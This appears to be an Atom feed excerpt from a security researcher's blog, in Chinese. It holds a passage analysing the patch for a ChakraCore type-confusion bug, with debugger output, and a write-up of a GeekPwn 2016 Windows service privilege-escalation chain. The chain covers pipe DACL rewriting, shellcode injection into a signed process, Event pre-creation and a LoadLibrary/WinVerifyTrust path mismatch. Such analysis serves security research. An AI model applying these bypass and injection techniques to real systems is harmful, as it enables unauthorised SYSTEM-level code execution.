class="line">C:\Users\test></span><br></pre></td></tr></table></figure><p>发现没有崩溃,证明这个版本该漏洞已经被修复。</p><h4 id="5-3-checkout-打上疑似补丁之前版本测试"><a href="#5-3-checkout-打上疑似补丁之前版本测试" class="headerlink" title="5.3 checkout 打上疑似补丁之前版本测试"></a>5.3 checkout 打上疑似补丁之前版本测试</h4><p>再来测试回退到补丁之前版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">test@test MINGW64 /k/edge/ChakraCore ((8bd6826ae...))</span><br><span class="line">$ git reset --hard</span><br><span class="line">HEAD is now at 8bd6826ae [CVE-2018-8290] OOB profile read/write - Google, Inc</span><br><span class="line"></span><br><span class="line">test@test MINGW64 /k/edge/ChakraCore ((8bd6826ae...))</span><br><span class="line">$ git checkout 7af07fdfb3cf3ac2b21dd71bf565ab1135e62d4d</span><br></pre></td></tr></table></figure><p>VS2017 编译,然后测试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\test></span><br><span class="line">C:\Users\test>"K:\edge\ChakraCore\Build\VcBuild\bin\x64_debug\ch.exe" "K:\edge\OP_NewScObjArray_Type_Confusion\poc\pure_js_poc.js"</span><br><span class="line">FATAL ERROR: ch.exe failed due to exception code c0000005</span><br><span class="line"></span><br><span class="line">C:\Users\test></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发现崩溃了,说明这个 commit 8bd6826aea01ff1af36f2a83fe00c44799ba80cb 正是该漏洞的补丁</p><h3 id="5-2-补丁代码分析"><a href="#5-2-补丁代码分析" class="headerlink" title="5.2 补丁代码分析"></a>5.2 补丁代码分析</h3><p>补丁代码中,OP_NewScObjArray OpCode 的处理函数 OP_NewScObjArray_Impl 不再实现具体的逻辑,改为调用 OP_NewScObject_Impl。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/lib/Runtime/Language/InterpreterStackFrame.h b/lib/Runtime/Language/InterpreterStackFrame.h</span></span><br><span class="line"><span class="comment">index 8ebc7c13c..a3ad7504e 100644</span></span><br><span class="line"><span class="comment">--- a/lib/Runtime/Language/InterpreterStackFrame.h</span></span><br><span class="line"><span class="comment">+++ b/lib/Runtime/Language/InterpreterStackFrame.h</span></span><br><span class="line"></span><br><span class="line"><span class="deletion">- template <class T, bool Profiled> void OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices = nullptr);</span></span><br><span class="line"><span class="addition">+ template <class T, bool Profiled, bool ICIndex> void OP_ProfiledNewScObject_Impl(const unaligned T* playout, InlineCacheIndex inlineCacheIndex = Js::Constants::NoInlineCacheIndex, const Js::AuxArray<uint32> *spreadIndices = nullptr) { OP_NewScObject_Impl<T, Profiled, ICIndex>(playout, inlineCacheIndex, spreadIndices); }</span></span><br><span class="line"><span class="addition">+ template <class T, bool Profiled> void OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices = nullptr) { OP_NewScObject_Impl<T, Profiled, false>(playout, Js::Constants::NoInlineCacheIndex, spreadIndices); }</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span> <<span class="keyword">class</span> <span class="title class_">T</span>, <span class="type">bool</span> Profiled, <span class="type">bool</span> ICIndex></span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">InterpreterStackFrame::OP_NewScObject_Impl</span><span class="params">(<span class="type">const</span> unaligned T* playout, InlineCacheIndex inlineCacheIndex, <span class="type">const</span> Js::AuxArray<uint32> *spreadIndices)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (ICIndex)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">Assert</span>(inlineCacheIndex != Js::Constants::NoInlineCacheIndex);</span><br><span class="line"> }</span><br><span class="line"> Var newVarInstance =</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> ENABLE_PROFILE_INFO</span></span><br><span class="line"> Profiled ?</span><br><span class="line"> <span class="built_in">ProfiledNewScObject_Helper</span>(</span><br><span class="line"> <span class="built_in">GetReg</span>(playout->Function),</span><br><span class="line"> playout->ArgCount,</span><br><span class="line"> <span class="keyword">static_cast</span><<span class="type">const</span> unaligned OpLayoutDynamicProfile<T> *>(playout)->profileId,</span><br><span class="line"> inlineCacheIndex,</span><br><span class="line"> spreadIndices) :</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> <span class="built_in">NewScObject_Helper</span>(<span class="built_in">GetReg</span>(playout->Function), playout->ArgCount, spreadIndices);</span><br><span class="line"> <span class="built_in">SetReg</span>((RegSlot)playout->Return, newVarInstance);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>当进入到 OP_NewScObject_Impl 函数的时候,可以发现此时传入的 playout 内存的数据与补丁之前是一致的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">0:004> p</span><br><span class="line">chakracore!Js::InterpreterStackFrame::OP_NewScObject_Impl<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >,0,0>+0x18:</span><br><span class="line">00007ffd`cfc16b88 33c0 xor eax,eax</span><br><span class="line">0:004> dt playout</span><br><span class="line">Local var @ 0x4da20fc468 Type Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >*</span><br><span class="line">0x000001c3`1a7a4c9b </span><br><span class="line"> +0x000 ArgCount : 0x2 ''</span><br><span class="line"> +0x001 Return : 0n254</span><br><span class="line"> +0x003 Function : 0xfe</span><br><span class="line">0:004> db poi(playout)</span><br><span class="line">000001c3`1a7a4c9b 02 fe 00 fe 00 fa fe e9-09 24 00 e7 fb 06 07 05 .........$......</span><br><span class="line">000001c3`1a7a4cab 00 5b 00 0a 5c 01 f4 08-00 5c 02 fb 08 00 5c 03 .[..\....\....\.</span><br><span class="line">000001c3`1a7a4cbb f5 08 00 5c 04 09 08 00-ee 05 ff f6 08 00 e9 a7 ...\............</span><br><span class="line">000001c3`1a7a4ccb 00 24 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .$..............</span><br><span class="line">000001c3`1a7a4cdb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">000001c3`1a7a4ceb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">000001c3`1a7a4cfb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">000001c3`1a7a4d0b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br></pre></td></tr></table></figure><p>接下来,因为 OP_NewScObjArray_Impl 调用 OP_NewScObject_Impl 时传入的模板参数 Profiled 为 false。所以会调用 NewScObject_Helper 创建 newInstance 赋值给 playout->Return 寄存器。</p><p>注意在这个 OP_NewScObjArray 的处理过程中,已经不像补丁之前的代码存在类型转换,所以漏洞也就不再存在了。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"> template <class T, bool Profiled></span><br><span class="line"><span class="deletion">- void InterpreterStackFrame::OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices)</span></span><br><span class="line"><span class="addition">+ void InterpreterStackFrame::OP_ProfiledNewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices)</span></span><br><span class="line"> {</span><br><span class="line"> // Always profile this operation when auto-profiling so that array type changes are tracked</span><br><span class="line"> #if ENABLE_PROFILE_INFO</span><br><span class="line"><span class="meta">@@ -6212,7 +6222,7 @@</span> namespace Js</span><br><span class="line"> Assert(!Profiled);</span><br><span class="line"> #endif</span><br><span class="line"> {</span><br><span class="line"><span class="deletion">- OP_NewScObject_Impl<T, Profiled, false>(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);</span></span><br><span class="line"><span class="addition">+ OP_NewScObjArray_Impl<T, Profiled>(playout, spreadIndices);</span></span><br><span class="line"> return;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>总结一下补丁,补丁后的版本,OP_NewScObjArray_Impl 仅仅是 OP_NewScObject_Impl 的封装,不再有之前复杂的判断和逻辑,不再有类型转换,所以漏洞也就被修复了。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ul><li><a href="http://blogs.360.cn/post/Microsoft%20Edge%20Chakra%20OP_NewScObjArray%20Type%20Confusion%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8.html">Microsoft Edge Chakra OP_NewScObjArray Type Confusion 远程代码执行漏洞分析与利用</a></li><li><a href="https://github.com/Microsoft/ChakraCore">https://github.com/Microsoft/ChakraCore</a></li></ul>]]></content>
<summary type="html"><p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>)</p>
<h2 id="1-环境信息"><a href="#1-环境信息" class="headerlink" title="1 环境信息"></a>1 环境信息</h2><ul>
<li>Windows 10 X64 14393 (1607) - 没有安装过任何补丁</li>
<li>Microsoft Edge 38.14393.0.0</li>
<li>Microsoft EdgeHTML 14.14393</li>
</ul>
<h2 id="2-Crash-Point"><a href="#2-Crash-Point" class="headerlink" title="2 Crash Point"></a>2 Crash Point</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">(1648.f78): Access violation - code c0000005 (first chance)</span><br><span class="line">First chance exceptions are reported before any exception handling.</span><br><span class="line">This exception may be expected and handled.</span><br><span class="line">chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x75:</span><br><span class="line">00007ff9`dc43d0c5 66418500 test word ptr [r8],ax ds:000001e5`b6a4f048=????</span><br><span class="line">0:010&gt; kb</span><br><span class="line"> # RetAddr : Args to Child : Call Site</span><br><span class="line">00 00007ff9`dc23d3ea : 000001e5`b6950020 000001e5`d56f01a0 00000000`0000fefa 00007ff9`dc9583c8 : chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x75</span><br><span class="line">01 00007ff9`dc23def7 : 000001e5`b8ff97c0 0000004a`3a3fb100 000001e5`d0f407e0 00007ff9`dc37fefa : chakra!Js::ProfilingHelpers::ProfiledNewScObjArray+0x9e</span><br><span class="line">02 00007ff9`dc38d74a : 0000004a`3a3fb410 000001e5`d6f3dc64 000001e5`b7bfa760 00007ff9`dc374943 : chakra!Js::InterpreterStackFrame::OP_NewScObjArray_Impl&lt;Js::OpLayoutT_CallI&lt;Js::LayoutSizePolicy&lt;1&gt; &gt;,0&gt;+0x8f</span><br><span class="line">03 00007ff9`dc374cdd : 0000004a`3a3fb1e8 000001e5`d6f3dc63 000001e5`d6f3dc5f 00000000`00000000 : chakra!Js::JavascriptRegExpConstructor::GetPropertyBuiltIns+0xd22</span><br><span class="line">04 00007ff9`dc374b07 : 0000004a`3a3fb410 00000000`00000000 00000000`00000001 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0xbd</span><br><span class="line">05 00007ff9`dc3736c9 : 0000004a`3a3fb410 0000004a`3a3fb410 0000004a`3a3fb410 00000000`00000001 : chakra!Js::InterpreterStackFrame::Process+0x1a7</span><br><span class="line">06 00007ff9`dc375a04 : 0000004a`3a3fb410 000001e5`d6f3dc47 000001e5`d6f3dc47 00000000`00000000 : chakra!Js::InterpreterStackFrame::OP_TryCatch+0x61</span><br><span class="line">07 00007ff9`dc374b07 : 0000004a`3a3fb410 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0xde4</span><br><span class="line">08 00007ff9`dc378b5e : 0000004a`3a3fb410 000001e5`d56f01a0 0000004a`3a3fbd80 00007ff9`e46a3f00 : chakra!Js::InterpreterStackFrame::Process+0x1a7</span><br><span class="line">09 00007ff9`dc37a265 : 000001e5`d0f407e0 0000004a`3a3fbf50 000001e5`b65b0fba 0000004a`3a3fbf68 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e</span><br><span class="line">0a 000001e5`b65b0fba : 0000004a`3a3fbfa0 00000000`00000001 0000004a`3a3fc378 00007ff9`dc4a0fe0 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55</span><br><span class="line">0b 00007ff9`dc4a1393 : 000001e5`d0f407e0 00000000`10000001 000001e5`ce93ff90 00000000`00000001 : 0x000001e5`b65b0fba</span><br><span class="line">0c 00007ff9`dc36ef6d : 000001dd`a72844f0 00000000`00000008 000001e5`d0300110 0000004a`3a3fc001 : chakra!amd64_CallFunction+0x93</span><br><span class="line">0d 00007ff9`dc372797 : 0000004a`3a3fc230 000001e5`d5874036 000001e5`d0f407e0 000001e5`00000001 : chakra!Js::InterpreterStackFrame::OP_CallCommon&lt;Js::OpLayoutDynamicProfile&lt;Js::OpLayoutT_CallIWithICIndex&lt;Js::LayoutSizePolicy&lt;0&gt; &gt; &gt; &gt;+0x15d</span><br><span class="line">0e 00007ff9`dc376842 : 0000004a`3a3fc230 000001e5`d5874036 000001e5`00000119 00000000`00000000 : chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex&lt;Js::OpLayoutT_CallIWithICIndex&lt;Js::LayoutSizePolicy&lt;0&gt; &gt; &gt;+0xa7</span><br><span class="line">0f 00007ff9`dc374aa2 : 0000004a`3a3fc230 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessProfiled+0x132</span><br><span class="line">10 00007ff9`dc378b5e : 0000004a`3a3fc230 000001e5`d56f0000 0000004a`3a3fc390 ffffffff`ffffff01 : chakra!Js::InterpreterStackFrame::Process+0x142</span><br><span class="line">11 00007ff9`dc37a265 : 000001e5`d0f40900 0000004a`3a3fc560 000001e5`b65b0fc2 0000004a`3a3fc578 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e</span><br><span class="line">12 000001e5`b65b0fc2 : 0000004a`3a3fc5b0 00000000`00000000 00000000`00000000 00007ff9`dc4a0fe0 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55</span><br><span class="line">13 00007ff9`dc4a1393 : 000001e5`d0f40900 00000000`00000000 00000000`00000000 00000000`00000000 : 0x000001e5`b65b0fc2</span><br><span class="line">14 00007ff9`dc36d873 : 000001dd`a72844f0 00000000`00000000 000001e5`d0316f00 00007ff9`dc3d2f87 : chakra!amd64_CallFunction+0x93</span><br><span class="line">15 00007ff9`dc3dc2ec : 000001e5`d0f40900 00007ff9`dc4a15a0 0000004a`3a3fc6c0 000001e5`d030e6d0 : chakra!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x83</span><br><span class="line">16 00007ff9`dc3db8b6 : 000001e5`d0f40900 0000004a`3a3fc7a0 000001e5`d030e6d0 0000004a`3a3fc700 : chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104</span><br><span class="line">17 00007ff9`dc486259 : 000001e5`d0f40900 0000004a`3a3fc840 000001e5`d030e6d0 00000000`00000000 : chakra!Js::JavascriptFunction::CallRootFunction+0x4a</span><br><span class="line">18 00007ff9`dc3e1d41 : 000001e5`d0f40900 0000004a`3a3fc8a0 00000000`00000000 0000004a`3a3fc880 : chakra!ScriptSite::CallRootFunction+0xb5</span><br><span class="line">19 00007ff9`dc392a1d : 000001e5`d030cf00 000001e5`d0f40900 0000004a`3a3fc950 00000000`00000000 : chakra!ScriptSite::Execute+0x131</span><br><span class="line">...</span><br></pre></td></tr></table></figure></summary>
</entry>
<entry>
<title>GeekPwn 2016 Windows 服务提权漏洞的分析和利用</title>
<link href="https://rekken.github.io/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/"/>
<id>https://rekken.github.io/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/</id>
<published>2017-07-23T06:11:35.000Z</published>
<updated>2020-12-25T06:27:35.000Z</updated>
<content type="html"><![CDATA[<p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>)</p><h2 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a>摘要</h2><p>GeekPwn 2016 比赛中有一道 Windows 服务漏洞提权题目,该服务程序会创建命名管道(Named Pipe)服务端接收客户端发送的文件路径然后调用 LoadLibrary 加载,但加载之前有一系列的检查过程,我们的最终目标是绕过这些检查,加载我们指定的 DLL并以 SYSTEM 权限执行任意代码。本文笔者逐一分析该服务的各个验证环节及其绕过方法,以及如何组合他们最终启动 SYSTEM 权限的计算器。</p><p>服务端的处理逻辑: </p><ol><li><p>服务端创建命名管道,等待客户端的连接。</p></li><li><p>客户端连接之后,服务端OpenProcess 打开客户端进程句柄,获得客户端进程 Image 文件路径。</p></li><li><p>验证客户端 Image 文件路径的签名。</p></li><li><p>签名验证通过之后,创建 Event 事件对象,无限等待 Event 对象直到 Signaled 状态。</p></li><li><p>通过管道接受客户端发送的 DLL 文件路径。</p></li><li><p>验证 DLL 文件路径的签名,签名通过之后调用 LoadLibrary 加载 DLL。</p></li></ol><span id="more"></span><h2 id="四个障碍"><a href="#四个障碍" class="headerlink" title="四个障碍"></a>四个障碍</h2><p>LoadLibrary 是我们的目标,但是在抵达目标之前,服务程序中有多层障碍需要绕过:</p><h3 id="1-管道创建时,没有赋予普通用户写权限。"><a href="#1-管道创建时,没有赋予普通用户写权限。" class="headerlink" title="1. 管道创建时,没有赋予普通用户写权限。"></a>1. 管道创建时,没有赋予普通用户写权限。</h3><p>管道创建时,指定的 DACL 字符串是 “D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRWD;;;WD)”,普通用户没有向管道发送数据的权限。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">c:\project\geekpwn_2016>accesschk.exe -v \pipe\GeekPwn2016</span><br><span class="line"></span><br><span class="line">\\.\Pipe\GeekPwn2016</span><br><span class="line"> Medium Mandatory Level (Default) [No-Write-Up]</span><br><span class="line"> RW NT AUTHORITY\SYSTEM</span><br><span class="line"> FILE_ALL_ACCESS</span><br><span class="line"> RW BUILTIN\Administrators</span><br><span class="line"> FILE_ALL_ACCESS</span><br><span class="line"> RW Everyone</span><br><span class="line"> FILE_LIST_DIRECTORY</span><br><span class="line"> FILE_READ_ATTRIBUTES</span><br><span class="line"> FILE_READ_DATA</span><br><span class="line"> FILE_READ_EA</span><br><span class="line"> SYNCHRONIZE</span><br><span class="line"> READ_CONTROL</span><br><span class="line"> WRITE_DAC</span><br></pre></td></tr></table></figure><h3 id="2-连接管道的客户端进程文件需携带有效签名。"><a href="#2-连接管道的客户端进程文件需携带有效签名。" class="headerlink" title="2. 连接管道的客户端进程文件需携带有效签名。"></a>2. 连接管道的客户端进程文件需携带有效签名。</h3><p>服务端接收客户端的连接请求之后,调用 OpenProcess 获得客户端进程句柄,然后得到客户端进程 Image 路径,之后会调用 WinVerifyTrust 验证签名。注意有些 PE 文件通过附属 Manifest 文件提供签名信息,而 WinVerifyTrust 验证签名时对这类文件会视为无效。只有签名验证通过之后才会继续下一步。</p><h3 id="3-客户端没有能力使服务端创建的-Event-对象置位(Signaled)。"><a href="#3-客户端没有能力使服务端创建的-Event-对象置位(Signaled)。" class="headerlink" title="3. 客户端没有能力使服务端创建的 Event 对象置位(Signaled)。"></a>3. 客户端没有能力使服务端创建的 Event 对象置位(Signaled)。</h3><p>服务端创建的 “Global\GeekPwn2016” Event 对象,客户端作为普通权限进程是没有权限调用 SetEvent 置为 Signaled 状态的。</p><h3 id="4-客户端发送给服务端的-DLL-路径需要通过签名验证后才能加载。"><a href="#4-客户端发送给服务端的-DLL-路径需要通过签名验证后才能加载。" class="headerlink" title="4. 客户端发送给服务端的 DLL 路径需要通过签名验证后才能加载。"></a>4. 客户端发送给服务端的 DLL 路径需要通过签名验证后才能加载。</h3><p>客户端通过管道发送的 DLL 路径会传递给 WinVerifyTrust 验证签名,验证通过后才会传递给 LoadLibrary 加载。</p><h2 id="Bypass-四个障碍"><a href="#Bypass-四个障碍" class="headerlink" title="Bypass 四个障碍"></a>Bypass 四个障碍</h2><h3 id="1-利用-WRITE-DAC-给普通用户添加管道写权限。"><a href="#1-利用-WRITE-DAC-给普通用户添加管道写权限。" class="headerlink" title="1. 利用 WRITE_DAC 给普通用户添加管道写权限。"></a>1. 利用 WRITE_DAC 给普通用户添加管道写权限。</h3><p>前面 accesschk 对管道权限的枚举结果可以发现,普通用户虽然没有 WRITE_DATA 权限,但也有不少权限,挨个查 MSDN,发现 WRITE_DAC 可以帮我们重新改写对象的 DACL 列表。</p><p>利用 WRITE_DAC 给 Everyone 组用户添加 WRITE_DATA 权限,网上可以找到代码片段,需要注意的是,调用 SetSecurityDescriptorDacl 之后,只是生成了一个新的满足需求的 SecurityDescriptor 对象,管道对象的 DACL 并没有被修改,需要进一步调用 SetKernelObjectSecurity 并传递 pipe handle 才能真正在管道对象中生效。</p><p>DACL 修改之后,还有个地方需要注意,管道对象的 handle 需要关闭且以 WRITE_DATA 权限再次打开才行,因为用于修改 DACL 的 handle 无论如何没有 WRITE_DATA 权限。</p><h3 id="2-向有签名的程序注入代码,借壳绕过-WinVerifyTrust-的签名检查。"><a href="#2-向有签名的程序注入代码,借壳绕过-WinVerifyTrust-的签名检查。" class="headerlink" title="2. 向有签名的程序注入代码,借壳绕过 WinVerifyTrust 的签名检查。"></a>2. 向有签名的程序注入代码,借壳绕过 WinVerifyTrust 的签名检查。</h3><img src="/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/geekpwn_image_1.png" class="" title="Image"><p>服务端的检查代码如上图,先获得客户端进程 PE 文件路径,然后验证 PE 文件路径。所以如果我们可以找个有签名的程序,向其进程注入攻击代码就可以绕过上述检查了。</p><p>向有签名的程序注入代码有很多方法,最简单的是创建签名程序作为子进程,本例中笔者选用 SysInternals 工具集中的 procexp.exe,然后调用 WriteProcessMemory 和 CreateRemoteThread 注入代码。直接注入完整程序逻辑比较困难,所以我们注入的是一段加载用于加载 DLL 的 Shellcode,这段 Shellcode 运行时会加载同目录的 hello.dll,剩下的工作都在这个 hello.dll 中完成。</p><p>Hello.dll 中调用 CreateFile 和 CreateNamedPipeW 连接服务端管道时,服务端获得进程 PE 路径是 procexp.exe 的路径,WinVerifyTrust 验证签名有效。</p><h3 id="3-抢先创建-Event-对象,Event-Owner-就是自己了"><a href="#3-抢先创建-Event-对象,Event-Owner-就是自己了" class="headerlink" title="3. 抢先创建 Event 对象,Event Owner 就是自己了"></a>3. 抢先创建 Event 对象,Event Owner 就是自己了</h3><img src="/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/geekpwn_image_2.png" class="" title="Image"><p>服务端创建并且无限期等待 Event 的代码如上图,服务端创建的 Event 普通权限的客户端进程显然是没有权限修改状态的。连接返回失败,GetLastError 返回错误代码 5,提示 Access Denied。想到一个方法是,在服务端创建 Global\GeekPwn2016 Event 之前,抢先创建同名 Event,并设置该 Event 的初始状态为 Signaled。根据 MSDN 中对 CreateEvent 返回值的描述,之后服务端进程调用 CreateEvent 创建时会返回我们之前创建的这个 Event 的句柄。再之后的 WaitForSingleObject() 会直接以成功状态返回(返回值为0)。</p><h3 id="4-LoadLibrary-的“灵活”与-WinVerifyTrust-的“死板”"><a href="#4-LoadLibrary-的“灵活”与-WinVerifyTrust-的“死板”" class="headerlink" title="4. LoadLibrary 的“灵活”与 WinVerifyTrust 的“死板”"></a>4. LoadLibrary 的“灵活”与 WinVerifyTrust 的“死板”</h3><img src="/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/geekpwn_image_3.png" class="" title="Image"><p>服务端接收客户端发来的 DLL 路径后,验证过程如上图。还是调用 WinVerifyTrust 验证签名。这次怎么绕过签名检查呢?经过自己分析对比 LoadLibrary 和 WinVerifyTrust,发现二者在处理路径时存在标准不一致导致的漏洞。传递给 WinVerifyTrust 的路径,会当作全路径直接验证。而据 MSDN 介绍,LoadLibrary 似乎“灵活”很多,如果路径结尾没有扩展名,LoadLibrary 在真正的加载动作之前会自动补上一个 “.dll” 作为最终路径。</p><p>利用这个特性就可以绕过上面的检查了。假设我们传递的路径是 c:\test\evil。WinVerifyTrust 会直接验证 c:\test\evil。而 LoadLibrary 发现没有以 .dll 结尾,会自动追加,最终加载 c:\test\evil.dll。</p><p>注意,evil.dll 一定要编译成 64 位的,因为服务端主程序 GeekPwn2016.exe 是 64 位的。</p><p>成功迫使管道服务端加载 evil.dll 后启动 SYSTEM 权限计算器就很简单了,直接在 DLL Main 中调用 WinExec(“calc.exe”, SW_SHOW); 就好了,当然普通用户桌面中是看不到弹出计算器的,需要 procexp.exe 或者任务管理器查看。</p><img src="/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/geekpwn_image_4.png" class="" title="Image"><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本次的服务端程序中,大部分漏洞或利用技巧都是依赖 MSDN 上一些不太显眼的特性或 Tricks。如果平时能够多收集这样的点,势必对漏洞的发现和利用大有帮助。</p><p>附录中会贴出精简后的服务端代码,完整的攻击程序源码会单独以压缩包形式提供。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ol><li><p>微软MSDN关于CreateEvent的文档: <a href="https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms682396(v=vs.85).aspx">https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms682396(v=vs.85).aspx</a></p></li><li><p>微软 MSDN 关于 LoadLibrary 的文档: <a href="https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms684175(v=vs.85).aspx">https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms684175(v=vs.85).aspx</a></p></li></ol><h2 id="附录-精简后的服务端代码"><a href="#附录-精简后的服务端代码" class="headerlink" title="附录 精简后的服务端代码"></a>附录 精简后的服务端代码</h2><img src="/2017/07/23/Analysis-and-Exploitation-of-GeekPwn-2016-Windows-Services-EoP-Vulnerability/geekpwn_image_5.png" class="" title="Image"><p>rekken</p><p>2017.07.23</p>]]></content>
<summary type="html"><p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>)</p>
